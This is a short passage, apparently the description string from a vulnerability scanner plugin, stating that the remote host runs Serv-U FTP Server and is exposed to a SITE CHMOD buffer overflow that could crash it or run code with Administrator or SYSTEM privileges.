"The remote host is running Serv-U FTP Server. 

There is a bug in the way the server handles arguments to the SITE
CHMOD requests that could allow an attacker to trigger a buffer 
overflow or corrupt memory in the server and disable it remotely 
or to potentially execute arbitrary code on the host. 

Note that successful exploitation requires access to a writable
directory and will result in code running with Administrator or SYSTEM
privileges by default." );
